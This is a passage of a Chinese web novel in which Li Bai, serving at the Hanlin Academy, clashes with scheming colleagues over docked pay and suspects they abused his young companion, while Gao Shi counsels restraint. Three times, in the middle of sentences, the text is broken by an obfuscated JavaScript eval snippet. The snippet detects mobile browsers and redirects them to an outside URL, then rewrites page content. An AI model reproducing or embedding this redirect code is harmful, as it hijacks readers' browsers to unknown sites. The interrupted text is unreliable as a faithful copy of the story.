对赵待诏:“赵待诏好耳力!‘酒中仙’?李某今日无心作仙人,只想请阁下品评品评这‘仙酿’里,藏的是‘百篇’还是你满腹的‘闲言碎语’?” 众人如避蛇蝎,纷纷托辞“急奏未誊”“顾大人交代诏书起草”“案牍如山”,仓皇逃散。 午憩时,李白在自己的软塌上翘着腿查看诗牌,漫不经心地划过那些《长干行》胭脂盒引发长安少女哄抢的帖子。 先前高适与他讲述的“诗歌传抄权”可换银钱,他本不甚在意,直到某天一位胭脂商找到他,翻出了他早期的诗作,恳求将它刻在胭脂盒上,答应每卖出一盒三七分账。他觉得有趣,便答应下来。 这位商人嗅觉极其灵敏,《长干行》胭脂盒果然在长安大行其道。当沉甸甸的钱袋落到李白手里时,他看都没看,一扬手就把钱袋抛向空中,开元通宝撒了一地,引来乞儿的竞相抢夺。 如今,《长干行》的胭脂风还在长安的大街小巷穿行,而它真正的主人却在翰林院里,忍俊不禁地听着隔壁同僚们的窃窃私语。 “李太白那个酒壶……真是贺监送的?” “千真万确!他把酒壶举过来的时候,我看得可清楚了!和那诗牌上拓的影一模一样!” “对对对!我也看见了!” 到了下午,先前起哄的几人再看李白时,眼神中带了三分敬意。 顾翰林与张翰林交好,二人几乎形影不离。他见李白脸上带了几分醉酒的红晕,开口挑衅道:“李供奉怕是醉了,今日这诗,不如让在下代笔?” “不敢惊动先生大驾。”李白抓起案上最上层的纸丢给顾翰林,“拿去拿去,别耽误我下值!” 顾翰林暗暗咬牙,接过这首台阁诗来逐字审阅,一双眼睛锐利如刀,似乎要扎穿这薄如蝉翼的纸张。可他翻来覆去审了数遍,从用韵到平仄,竟一个字也改不得,最后只能从牙缝里挤出几个字:“李供奉好文笔。” 当天下值,众人望着又一次“飞”出翰林院的李供奉一蹦一跳地和高适一起消失在长街尽头,发出一声叹息。 然而第二日,当李白再次把酒壶搁在案上时,案上除了酒壶与一摞纸再无他物,笔墨以及平日拿来消遣的荸荠都不翼而飞。 李白的目光扫过邻桌的张翰林,他脸色平静,似乎无事发生。再看其他同僚,人人低头奋笔疾书,却偷眼往自己这边瞧,个个都是看热闹的神情。 他没有惊讶出声,而是径直去找管库房的老于头索要新笔墨。老于头是个老实人,眼神躲闪,说话结巴:“李……李供奉,实在对不住,库里……库里笔墨刚巧用完了……要、要过几日才补……” 那副欲言又止的惊慌模样,一看便知是受人胁迫。 李白怒火中烧,面上却不显。他环视一圈,发现张翰林崭新的徽墨、紫毫正堂而皇之地摆在其案头。一个念头电光火石般闪过。 “李白!你做什么?!”张翰林的尖叫声响彻翰林院。 原来李白走到张翰林案前,在对方惊愕的目光中,一把抄起了那方砚台和两支上好的紫毫笔,这才惹来了张翰林的尖叫。 “张翰林勿怪!陛下急召我赋诗,耽误不得!恰巧李白的笔墨不知被哪位仁兄‘帮忙’收走了,只好暂借张翰林的用用!事关圣意,想必张翰林定然体谅,不会因这点笔墨小事阻扰圣命吧?” 李白扬眉一笑,声音清朗,故意提高音量,让在场所有人都听到,且“圣命”“急召”几个字咬得格外重。 这一下直接把张翰林噎得面红耳赤,暗骂:好个李白,竟敢用圣人压我!但权衡之下,他只能强压怒火,咬牙切齿道:“李供奉……请便!只望用后……尽快归还!” 李白表面答应,实则故意拖延 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275808|182407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到下午才归还。张翰林虽然怀疑,但见自己的宝贝完好无损,李白笑得真诚,也不好再说什么。 他哪里知道,李白归还前,趁会食的功夫跑出去买了合欢香,碾碎后悄然融入了那尚未干透的徽墨深处。这香屑极细,融化后肉眼根本无从察觉。 下午,张翰林信心满满地提笔润色一份重要公文。刚一落笔,一股异样的温香弥漫开来。他本不在意,以为又是哪个同僚用了劣质头油。可不一会,一阵“嗡嗡”声由远及近,几只嗅到香气的蜜蜂竟不知从何处钻进值房,直扑张翰林刚写的字迹上。他吓得手一抖,墨点污了公文一角。赶走一只,又飞来两三只。 张翰林惊惶失措,挥舞手臂试图驱赶,然而蜜蜂对这奇特又纯净的墨香兴趣浓厚,围着他和那纸公文打转,嗡嗡声不绝于耳。 整个值房都被这离奇的一幕吸引了,无人不在尝试憋笑,窃窃私语声不绝于耳。张翰林狼狈不堪,满脸涨红如紫茄,又气又臊,公文上更是被蜜蜂翅膀带起的气流拂乱了字迹和墨点。 “啧,张大人的文书,比李某的诗还受欢迎呢。”李白在自己的案后悠闲地将一枚新鲜的荸荠放入口中,那丝讥笑悄无声息地从同僚脸上转移到了他的脸上。 “李太白!你好生无耻!”张翰林的尖叫再次响起。 “承让了!”李白欣赏着张翰林的窘状,“和张大人比起来,李某这算,班门弄斧。” 下值的路上,李白边笑边和高适转述今日见闻,说到张翰林的窘况,他几次笑得直不起腰,高适也跟着笑。 快到瀚海诗社时,高适忽然收敛了笑容,正色道:“太白兄,让那些人吃点苦头是好的,但也要注意分寸,毕竟兔子急了还咬人呢,更何况他们不是兔子,是疯狗。” “疯狗怎样?会跳墙?那就让他们跳!”李白抢先一步推开诗社大门,一屁股坐在自己常坐的蒲团上,“我正嫌在翰林院呆着闷得很,就爱看这些跳梁小丑上蹿下跳!” 高适摇头苦笑,他知道,劝不得,能让人幡然醒悟的只有现实。 转眼到了月末,正是俸禄发放的时节。李白接过钱袋时立马察觉到了分量不对。凭经验,这里面的俸钱至少缺了一半!他眉宇间瞬间凝上寒霜,径直寻到分管俸禄的管事。 “李供奉稍安勿躁。”管事眼皮都懒得抬,从厚厚的账簿后慢悠悠道,“录事明明白白记着,您本月缺勤一日。按我翰苑规例,缺勤者须罚俸半月。这……已是掌院笔下留情了。”言语间竟还似李白占了多大便宜。 “缺勤一日?哪一日?” “本月十三,就是贺监贺老大人离京那日。” “那日我明明告了假,何来缺勤?!” 话音未落,李白猛地想起那日卢玉生回来时失魂落魄的模样,心底那一直盘旋的猜疑倏然化为燎原怒火——那群宵小果真在背后捅了刀子! 管事干咳一声,皮笑肉不笑道:“告假?李供奉说笑了。下头并无您告假的文书留档,报备记录也是查无此事。有录事记为证,依律办事而已,大家都一样,望李供奉体谅。”他虽语调平缓,目光却不住躲闪。 “好!好一个‘依律办事’!那我可就要去好好地问问刘主事!”李白拂袖转身直奔主事厅,周身气压低得骇人。 14. 夜久侵罗袜 主事厅里,刘主事正在品茗,张翰林、顾翰林等纷纷侍坐。见李白进来,刘主事微微欠身,声音和缓地问:“李供奉,这么着急,所谓何事啊?” “大人明鉴!”李白疾步上前施礼,言语铿锵,“本月十三,下官确因身体不适,遣人告假。缘何到了录事笔下,竟成了‘缺勤’?更以此克扣下官半月俸禄!这‘依律办事’,依的究竟是哪条律,办的又是谁的事?!” 刘主事眉头微蹙,目光转向侍立一旁的录事:“可有此事?” 那录事闻言立刻躬身,声音平板无波:“回禀主事大人,下官仔细核查了本月所有告假文书及值班记录簿,确无李供奉十三日告假之记录。按翰林院规例,未按规定程序告假者,视同缺勤,罚俸半月。” “你!”李白眼中寒光迸射,几乎要刺穿那录事的脊背。 刘主事端起茶盏,轻轻撇了撇浮沫,慢条斯理道:“李供奉,你也听到了。规矩便是规矩。告假需得主事或主事厅当值吏员亲笔记档,方为有效。那日本官确因送贺老大人离京未在翰林院,李供奉所遣之人也应当找到值班小吏留下告假字据啊。” 李白斩钉截铁道:“玉生那日确已来过主事厅!他……” 录事似乎想起来了什么,接口道:“下官确实见过一位年轻郎君来过主事厅,正要上前询问,就看他朝着张大人顾大人那边去了。” 李白心中一紧,目光锐利地射向张翰林。录事的话证明了卢玉生确实来过主事厅,但是被张翰林打断,张翰林的狐狸尾巴怕是藏不住了! 张翰林的脸上略过一丝惊慌,但很快平静下来,迎上刘主事询问的目光,慢条斯理地回应: “下官的确看到了那个俊后生,询问他所为何事。他说要为李供奉告假,求我准假。下官思忖这是把我当主事了,岂敢越权?赶紧引导他到主事厅。彼时下官也有要事在身,不敢耽搁,后来这后生去了何处,做了什么,下官就不得而知了。” 顾翰林在一旁适时插话,阴阳怪气:“依我看,李供奉那小随从怕是头一回来这等森严之地,找不着北也是常情。你我皆是朝廷命官,总得按章程来,不能因为他寻错了门、说错了人,就坏了院里的规矩,您说是不是?再说了,听说您许了胭脂商卖《长干行》胭脂?‘郎骑竹马来,绕床弄青梅’,啧啧,好诗,李供奉不光赚的盆满钵满,还撮合了不少姻缘。这名利双收的买卖做的值,这点小账,还劳您计较?” “够了!”刘主事一声低喝,打断了顾翰林阴阳怪气的聒噪,也压住了李白几乎要喷薄而出的怒火。 “此事缘由已然清楚。告假需依规而行,程序有缺,录事依律办理,并无差错。张学士、顾学士所言,也是提醒李供奉要教导仆役熟识章程,并无他意。至于些微俸禄……” 刘主事身体前倾,扬眉道:“李供奉胸怀宽广,才名冠绝天下,区区一点银钱损失就坏了坏了同僚和气,传出去不仅供奉脸上无光,只怕这翰林院也会让人诟病。为了你个人的颜面,也为了翰林大计,太白,到此为止吧!” 这番和稀泥的官腔,将张、顾等人摘得干干净净,把李白的申辩和卢玉生的奔波定性为“程序有缺”,尤其是最后一句的刻意亲近,更是教人发指。 走! 此刻的李白脑子里只有这一个念头。再留在此地多说一个字,都不过是徒增笑料,自取其辱! “好一个‘到此为止’!主事大人所言极是!李太白……受教了!”李白怒极反笑,那笑声如料峭春风,卷着寒意。 他猛地一甩宽大的袍袖,转身便走,再不看身后那几张令他作呕的脸孔。而随着李白步履如风地踏出主事厅的门槛,身后死寂的空气终于松懈,随即爆发出几声刻意压低却清晰可闻的轻笑。 “……啧,李谪仙养的那小玩意儿,玉生……是吧?那副皮囊,啧啧,细皮嫩肉,眉眼清俊得紧,性子又怯。那日告假,没找着门路,慌慌张张的,瞧着……可真招人疼呐!” 另一个声音低笑着接话:“张兄倒是好眼力!莫非……李太白他……原来还有这等‘雅好’?难怪护得紧!” 张翰林发出一声猥琐的笑,声音更轻,也更毒:“不然呢?瞧他那股子劲儿,怕是……早就不止是端茶递砚那么‘简单’了!李白那厮……风流才子,名不虚传啊!” 即将踏出翰林院大门的李白,脚步倏然钉在原地。 张翰林那污秽不堪的言辞,那些关于“雅好”“风流才子”的暗示性语言,瞬间与他之前深藏的疑惧、卢玉生那天回来时的失魂落魄、以及方才对峙时张顾二人言辞闪烁中流露出的对玉生的轻蔑,彻底连成了一线! 原来如此!原来那天玉生独自去告假,遭遇的……远不止是几句恶语刁难那么简单!那个禽兽……竟然……竟然敢如此侮辱、轻薄于他! 一股前所未有的暴戾之气轰然冲顶,几乎要将他的理智震碎。他想立刻冲回去,将那扭曲的丑恶嘴脸一拳砸烂。 然而,脚步只往前踏了一步,又被他硬生生止住——冲动解决不了任何问题!只会将玉生置于更可怕的漩涡中心,让这个本就足够下作肮脏的谣言,被这群豺狼坐实并无限放大,成为攻击他、污名化他、乃至毁掉玉生的致命武器! 忍!必须忍下这股邪火!为了玉生,为了不再让他承受更多不堪! 李白闭上眼,深吸一口气,那紧握的拳头缓缓松开,装俸禄的精致钱袋早已被他揉皱。他最终没有回头,带着一身滴水成冰的煞气,头也不回地大步离开了翰林院,每一步都重得好像要踏碎这百年青石板。 回到常乐坊宅中,日头已经偏西。推开院门,一股淡香扑面而来。 卢玉生正坐在院中小凳上,面前放着一篮带泥的新鲜荸荠。他灵巧地削去紫红色的外皮,露出底下白玉般脆生生的果肉,整齐地码放在一旁的瓷碟里。阳光透过枝叶落在他认真的侧脸上,带着少年特有的干净。 他记得清清楚楚,每逢发俸的日子,十二郎总会早些回来,有时还会带些零嘴玩意。吴十九早就买了各类食材,在厨房忙活开了,今晚只属于他们三个。 听到门口的声响,卢玉生飞快地抬起头,脸上扬起一个欢喜的笑容,声音轻快: “十二郎!今日下值早啊!快来尝尝这新剥的荸……” 他的笑容在看清李白脸色的瞬间,僵在了脸上。 李白的脸色铁青,即使极力压制,但仍能看出暴怒的痕迹——这绝不是领了俸禄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275809|182407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该有的神色。 “十二郎……你……你这是?” “玉生……” 李白已然走到他面前,板住他的肩膀,声音平静的可怕:“那天,就是你去翰林院那天,张翰林对你,究竟做了些什么?” 卢玉生脸上的血色“唰”地一下褪尽,剥荸荠的手猛地一颤,那纯白圆润的荸荠落在碗里,发出一声闷响。他慌乱地低下头,避开李白逼视的目光,手紧紧攥住衣角。 “没,没什么……他……他就是……说了些难听的话……真的,没别的事了……” 卢玉生越是想装作若无其事,眼泪却越是不争气地往外流。他眼里的十二郎是仙人,是沾不得尘埃的。那日翰林院的遭遇若是说出来,就是脏了十二郎的耳朵。他情愿让那些屈辱烂在自己肚子里,也不愿看着十二郎因为他陷入泥沼。 李白看着眼前少年低垂不肯抬起的头颅,掌心传来他单薄身子的战栗,心如刀绞,最后一丝侥幸也被击垮。他强迫自己收束了那摄人的目光,轻轻松开卢玉生,脸色缓和下来。 “好……你不愿说,就不说吧。是我不好,不该问的。”他的声音沙哑,却带着一种能抚平战栗的力量。 他转而拿起剥好的荸荠,递到卢玉生近前:“别总是为我剥,你自己也吃。来,尝尝,这个看着就很甜。” 卢玉生这才微微抬起头,看到李白那张冰雪初融的脸,眼泪止住了些。他颤抖着手接过荸荠,小心翼翼地咬了一口,并没有尝出什么滋味。 “十二郎……是他们,又为难你了吗?”卢玉生捧着荸荠,目光却落在了被李白随手扔在桌子上的瘪钱袋。 “没有的事!”李白又恢复了往日的潇洒,也抓起一个荸荠胡乱塞进嘴里,“没,没事!是他们自己腌臜透顶,与咱们何干!” 卢玉生没再说话,又咬了一口荸荠。李白知道自己待在这里会让卢玉生不自在,于是主动岔开话题:“嗯——好香!不知十九今晚做了什么?”话音未落,那道纯白的身影已近乎仓促地“飞”进了厨房。 是夜,李白在榻上翻看诗牌,眉头紧锁。自从那个靠《长干行》起家的胭脂商赚的盆满钵满后,无数企图效仿者纷至沓来。蜀锦商行想用《蜀道难》推销他们新到的华锦,胡人酒肆的老板想要他为西域葡萄美酒题句“兰陵美酒郁金香”①挂在门前;还有什么糕点铺子想请他为新式点心命名…… 每天午憩或下值拿到诗牌,目之所及尽是这种请求。起初他还愿意讲讲道理,称自己不耐琐事,后来索性一言不发。 敲门声起,李白从床上翻身起来,道一声“进”,吴十九推门而入,眼睛里满是红血丝。 “李生……我,我想和你说个事……” “哦?是哪家的掌柜找上门来了?”李白靠在床头上,翘起了二郎腿。 “不是什么掌柜,是玉生的事……” “不必讲了!”李白把诗牌反扣在床边,朗声打断,“我已经明白了,不管那畜生用了什么手段,玉生都是实实在在受了欺侮!这事完不了!等有机会,我当然要和张大人,讨个说法!” 最后几个字咬得极重,吴十九看在眼里,心中暗暗称赞,这才是剑南烧春养出的魂魄该有的样子! 15. 却下水晶帘 翰林院那片虚假的“平静”之下,暗流依然汹涌。李白下值后的去处,多半还是瀚海诗社。酒,依旧是他们永恒的主题,但如今的天井里,多了一项新活动——武艺切磋。 高适手持长刀,身姿沉稳;李白则执着他的长剑,手腕翻飞间剑气如霜。几招拆解下来,高适格开李白斜刺而来的一剑,气息微沉,赞道:“太白兄,几日不见,这剑势愈发凌厉了,看来胸中沟壑不平,倒成了养剑的炉火?” 李白手腕一振,龙吟般的剑啸在天井狭小的空间里回荡。他挽了个利落的剑花,还剑入鞘,那动作带着一股未尽的锐气。 他走到木桌旁,抓起温在炭炉上的酒壶,仰头就灌了一大口,胸中越是发烫,目光越是冷峻。 “我恨这把火,烧得不够旺!”李白将酒壶重重顿在木桌上,发出沉闷的声响,“还没旺到能把那翰林院内那些龌龊的蛇鼠烧个干干净净!尤其是张贼之流!有朝一日,只要得着半分机会,我必亲手剜了他的舌头,看他还如何搬弄是非,羞辱于人!” 高适在他对面坐下,提起另一只酒壶给自己斟满,沉默地听着李白的咆哮。他大概知道这股滔天之怒的根由,通过社员的议论和未被禁绝的“飞天镜”拓影,他捕捉到一个信息:谪仙人因缺勤被扣半月俸禄。 诗社巷的态度分为两类,一类一口咬定是翰林院的主事故意刁难,区区缺勤一日竟要罚半月俸禄。另一类则觉得李白行事确乎过于浪荡,既入翰林,就应当守规矩,为天下士人作表率。 高适并没有加入他们的争论,他很清楚,以李白仗义疏财的性子,克扣的那点俸禄绝对不至于让他如此大动肝火,其中必然另有隐情。 他倒是更关注那个常陪在李白身边的俊俏郎君近来深居简出。从前他经常在西市看到卢玉生,每次见面都会寒暄几句。卢玉生虽然腼腆,但熟络后话匣子也就打开了。上次他去买纸笔,若非托以诗社事务,只怕还要被卢玉生拉着再说一个时辰。 “来,消消火。”高适又给李白斟满酒,语气中带着试探,“许久不见玉生兄弟了,可是身体有恙?” 提及卢玉生,李白眼中的怒火瞬间被一抹复杂的情绪覆盖。他灌了口酒,有些烦躁:“你也看出来了?这孩子……最近魔怔了似的。饭桌上,十句话有八句是蜀地的三江鳜鱼、锦里小吃;路上撞见个蜀音稍重的路人,都要巴巴地凑过去攀谈几句;平日里在家,竟也多用地道的蜀音了。这不明摆着,魂儿都飞回峨眉山下了么?” “人之常情。”高适给自己也倒了碗酒,“长安再好,也是客乡。他天性纯良内向,思归故土,寻求一份安宁,无可指摘。” 李白眉头紧锁:“这我知道!可还有一点,近来确有不少商贾登门与我洽谈,凡是带蜀地口音的,玉生都要在一旁多帮扶几句,谈妥后还要追着询问蜀地近况……” 说到这,李白的声音陡然拔高,带着一种近乎惶恐的焦虑:“你说他……是不是动了回蜀的心?!” 天井里的风似乎凝滞了一瞬。 高适看着他烦躁抓头的模样,缓缓道:“若果真如此……太白兄,何妨就遂了他的心愿?让他回去。长安的水太浊,对他而言,回去,未必不是一种解脱。” “高三十五!”李白猛地站起来,身前的木桌被撞得摇晃,酒杯倾倒,残酒淋漓。 “解什么脱?让他带着满腹的委屈和未雪之耻回老家?旁人会怎么说我李白?忘恩负义的白眼狼?嫌贫爱富的薄情人?还是如坊间流言所说……” 他深吸一口气,胸膛剧烈起伏,后几个字几乎是从齿缝里挤出来:“说我有了贺监、张相这样的新朋贵友,便容不下旧日的微贱手足?吴十九必是跟着玉生走的!到时,谁还愿意再信我李白?!” “没有人要你做薄情人!”高适的声音也沉了下来,带着一贯的沉稳坚定,“我所言,是人之常情!蜀道虽难,却是他熟悉的山川故土;长安虽好,于他却如樊笼泥沼!人各有志,你如今位处翰林,前途未可限量,自该展翅高飞。何必强求他人,与你一同困在这令他不快的局中?若是强留,他终日郁郁,你日日煎熬,这又是何苦?” 每一个字都像重锤,狠狠砸在李白心上。那几乎喷薄而出的愤怒,在对上高适那双洞悉一切的眼睛时,竟一点点坍塌、消融。 李白高大的身影在原地僵立了许久,最终像是被抽走了脊骨,颓然跌坐回条凳上。 “你说得……也在理。人各有志……但,就算他要走,也不能是现在走!”他猛地抬头,眼中寒光乍现,“至少……至少也要等我报了这个仇!让那个姓张的为他做的事付出代价之后!否则,我李白有什么脸面送他回去?又如何心安?” 高适眼神复杂,深深看着挚友:“太白兄,我知你心中恨意如炽。但此事,万勿操之过急!那张翰林是老吏,心思缜密,现在整个翰林院的眼睛都盯着你,就盼着你出格给他们口实。时机未到,切莫再意气用事,白白授人以柄,耽误了大事,也毁了玉生离开的体面!” 他加重了“体面”二字,暗示李白若因冲动惹下大祸,可能带累卢玉生。 李白胸口发堵,他何尝不知高适所言句句在理?但这股邪火憋在心中,烧得他五内俱焚。他用力甩了甩头,仿佛想把这些烦心事抛开,又抓起酒碗猛灌了一口,辛辣的液体灼烧着喉咙,似乎能压住那股烦躁。 “罢了罢了,此事按下不提!”李白摆摆手,转而语气中带上了鄙夷和厌烦,“倒不如说说那些如蝇聚腐的商贾!日日在我归家途中围追堵截,张口‘供奉’,闭口‘赏光’,所求的,不过是我那几行诗的字句,好印在他们那些劳什子胭脂盒、酒坛子、蜀锦匹子上,为他们招财进宝!” 他的声调转高,带着被冒犯的愤怒:“我李白并非那等迂腐酸儒!若真有人诚心相求,如那胭脂商一般,愿以公允之价,将《长干行》印于妆奁之上,使寻常女儿家亦能亲近诗情,我何乐而不为?那胭脂盒售价不过略涨一二,仍在长安百姓日用之内,我心甚慰!” 话锋一转,李白的怒火如同被点燃的干柴:“可恨的是那些后来者!他们见有利可图,便如饿狼扑食!未经我点头,便将我其他诗作偷印于器物之上,这已是盗贼行径!更可恨者,竟敢将售价哄抬数倍!美其名曰‘谪仙墨宝加持’‘供奉钦点珍品’,呸!这哪里是尊我诗名?分明是借我之名,行盘剥百姓之实!长安米贵,多少升斗小民的血汗钱,就这般被他们搜刮进了腰包?!” 李白所说,高适并不陌生。街市上飘扬的彩幡,女子手里拿的团扇,甚至是包点心的油纸,随处可见李白的诗句。他原本并未多想,李白诗才诗名俱佳,长安上下竞相追捧也无可厚非。出乎他意料的是,这种广泛流传竟然并未获得当事人的应允,甚至还有人借机牟取暴利。 李白眼中怒火更炽,一拳砸在桌上:“这还不算。最可气的,是有人竟敢曲解我诗中原意!我那‘愿将腰下剑,直为斩楼兰’,是何等快意恩仇的塞外豪情?他们竟印在专供软脚纨绔子弟的镶金配刀鞘上,说什么‘一剑在手,美人我有’,成了争风吃醋、夸耀蛮力的由头!简直是……奇耻大辱!” 这话听得高适也青筋暴跳。作为正经的习武之人,他平日里最看不惯的就是那些银样镴枪头的纨绔子弟,上好的佩剑或佩刀,到了他们手中全然沦为夸耀的资本,加之李白所述,更是叫人作呕。 但他终究没有跳起来,反过来安慰气得七窍生烟的朋友,要他顺顺气,慢慢说。 李白的声音因极度的愤怒和无力而微微发颤:“我欲与之理论,却如拳头打在棉絮上!当朝律法,对此竟空空荡荡一片!没有一条写明,他人不经许可便不得盗用我的诗作去牟取暴利!没有一条能治他们哄抬物价、欺行霸市之罪!更没有一条能阻止他们肆意歪曲、糟蹋我的诗魂!我的诗,竟成了他们手中随意揉捏、任意涂抹的泥团!若是贺监……或是张相还在长安……” 李白的眼中闪过浓重的缅怀与痛惜,声音低落下去:“以他们的清正刚直,断不会容许这些宵小如此践踏斯文,鱼肉百姓!” 高适静静听着,待他发泄完,才缓声道:“太白兄可还记得,我与你讲过诗社利好的第二条是什么?” 李白霍然抬眼,思索片刻后回答:“‘同襟期’。社长之诗可换银钱,社员也可分享其中四成。” “正是。”高适点点头,声音清晰而有力, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275810|182407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如金石相击,“不过,商贾之人欲借用诗社社员的诗作牟利,必先取得该名诗人的亲笔许可凭证。若无此证,便视为盗用!纵然官府对诗作本身尚无明确法度可用,但告到堂上,只消亮出诗社名录,有凭有据地指认他偷盗文字用于图利,那便是板上钉钉的罪名!” 李白眼中渐渐燃起希望的火苗,驱散了方才的烦躁与绝望。 “更何况,商贾最重信誉。”高适嘴角勾起一抹冷峻的笑,“凡此等背德盗文之徒,纵然一时猖獗,然而其名声,在那市井民间,早已臭不可闻!酒再香,粉再细,一旦与龌龊‘偷窃’二字绑上,谁还愿去买?此等污名一旦沾身,无异自绝于市。有此一层压制,又有官面可走,那些蝇营狗苟之辈,再想伸手,便不得不掂量万分!” 李白闻言,沉默下来。杯中之酒映着月光,在他眼中微微晃动。他细细咀嚼着高适的话,那份对诗社琐事的抵触,似乎裂开了一道细小的缝隙。或许……这真是一条可行之路?至少,比现在这无力抵抗的局面要强。 “……有些道理。”良久,李白终于缓缓开口,语气中少了些抗拒,多了几分思索,“待我再细想想。” 见李白态度松动,高适眼中闪过一丝欣慰。他沉默了一会儿,似乎下定了某种决心,声音变得低沉而凝重: “太白兄,还有一事……恐怕也需让你知晓。”他顿了顿,迎着李白探询的目光,“河西节度使哥舒翰将军幕府求贤若渴……前些日子,有相熟之人向将军举荐了我。将军来信……颇有意征召我入幕。” “什么?!”李白豁然抬头,如同平地惊雷在耳边炸响,手中的酒盏悬在半空,酒液泼洒出来也浑然不觉,“你……你也要走?!” 贺监走了,张相贬了,玉生和十九也生了去意……在这偌大的长安城,热闹是真热闹,朋友也多如牛毛,可真正能掏心窝子、肝胆相照的,不过眼前这寥寥数人。如今,连高适……连这个在他最困顿时仗义直言、为他出谋划策的新知交,竟然也要离他而去?! “你也要走……都要走……”他反复呢喃着,声音嘶哑干涩,目光空茫地看向天井上那方阴冷的天空。那些纵横长安的放浪形骸、诗酒醉友,此刻都成了模糊的背景。 知交零落,如同漫天星辰骤然湮灭,只剩他一人孤月高悬于孤寒长夜。 高适看着挚友瞬间被巨大的孤独与惶惑击中的神情,眼中不忍更浓。他重重地吸了口气,稳下心绪:“莫急!此去也非即刻启程。军府征召、调派皆需时日。” 他迎视着李白那燃烧着不甘与焦虑的眼眸,语气前所未有的凝重认真:“况且,无论如何,我也要等一个公道,玉生的公道。”他抬手拍拍李白的肩,“我陪你一道等一个水落石出。在此之前,长安城的风霜刀剑,你李白也不是一个人在扛!” 挚友的话语像滚烫的酒注入冰冷的血脉,李白紧绷的身体终于微微松弛下来一丝。一股滚烫的暖意混杂着酸楚涌上喉咙。他张了张嘴,想说什么,却最终什么也说不出来。 高适理解李白此刻复杂的焦虑,但他同样也束手无策。个人的前途与朋友的情谊,有时便是如此难以周全。而个人与整个煌煌帝都对抗,更是可笑的以卵击石。 他叹了口气,带着一丝无奈,也带着一丝渺茫的希冀,低声说道: “可你我皆非宰辅,扭转不了这朝堂大势。说到底,想要在这长安挺直了腰杆做人,想要庇护你珍视之人不再受欺侮,想要一展胸中抱负……太白兄啊,归根结底,苦熬苦等,恐怕终究是下策……”他顿了顿,目光深沉地望向太极宫方向,声音几乎微不可闻: “除非……除非,能得天心眷顾……” 他故意没说完,留下无尽的遐想空间。那未尽之语,如一颗投入古井的石子,在李白心中激起层层涟漪,在沉沉的夜色里回荡不已。 天心! 那巍峨宫阙之中,高高御座之上的九五之尊,那双翻手为云、覆手为雨的掌控之手! 那近乎渺茫的期待,那陡然而生的震撼,混杂着好友即将离去的孤独、复仇的急切与现实的桎梏,形成汹涌的暗流,在李白的心底深处猛烈地冲刷、碰撞,激起滔天骇浪般的思绪。 16. 玲珑望秋月 长安的牡丹花开了。 这倾城而动的盛景,自然霸占了朱雀门诗板的热搜首位。#圣人贵妃共赏牡丹##兴庆宫沉香亭牡丹盛宴#的词条高悬不下,拓影流转间,尽是姹紫嫣红,暗香浮动。其他所有话题都挤到了角落,长安城街头巷尾,茶楼酒肆,无不议论着这场即将到来的皇家盛事。 按照惯例,翰林院需派员陪侍圣驾与贵妃娘娘赏花。然而,兴庆宫牡丹园虽大,却也容不下所有翰林。于是,这份陪侍名单,便成了翰林院内无声的战场,成了衡量地位与恩宠的隐形标尺。 主事厅煞有介事地张贴了名单,宣称是依据“勤勉、才学、德行”综合评定。但当李白扫过那一个个熟悉的名字——张翰林、顾翰林、赵待诏……以及那几个平日里最擅长围着主事打转的同僚时,嘴角便勾起一抹鄙夷的冷笑。这哪里是评定?分明是早已内定的戏码! 名单张贴出来,主事厅还未散尽,张翰林那拨人便已按捺不住,声音陡然拔高,生怕角落里的某人听不见似的。 “哎呀,今晚沉香亭畔,月色溶溶,牡丹灼灼,圣人贵妃驾前,这诗……可得好好斟酌!” “正是!张兄那首《咏白牡丹》清雅脱俗,定能得贵妃青睐!” “顾兄的《魏紫》雍容华贵,也必是上上之选!只是这穿戴……我那件新制的雀翎青罗袍,配金线牡丹纹的蹀躞带,可还使得?” “使得使得!再簪上那支和田玉牡丹簪,风雅无双!” 喧嚣声浪一波波涌来,刻意地、张扬地,拍打着李白案头那方寂静。他端坐不动,腰背挺直,脸上是一层事不关己的淡漠,至少表面如此,仿佛周遭的议论不过是枝头聒噪的乌鸦。心底那簇被刻意压下的火苗,却在这片喧嚣中灼灼燃烧,烫得他几欲爆发。 呵,赏牡丹?陪侍御前?他李白何曾稀罕过这等趋炎附势的场合?不过是些粉饰太平、歌功颂德的应景之作罢了!他心中冷笑,一股混杂着鄙夷的浊气在胸中翻腾,似乎还有一丝……不甘? 离下值还有小半个时辰,李白便已经坐不住了。平日里肃穆的翰林院,今日吵吵嚷嚷如西市。他霍然起身。动作幅度不大,却带着一股不容置疑的决绝。他随手抄起酒壶,看也不看那喧闹的一角,径直朝门外走去。 整个翰林院此刻都沉浸在一种即将赴御前盛宴的浮夸喜悦中,无人留意一个“不合群者”的早退——或者说,乐见其成。 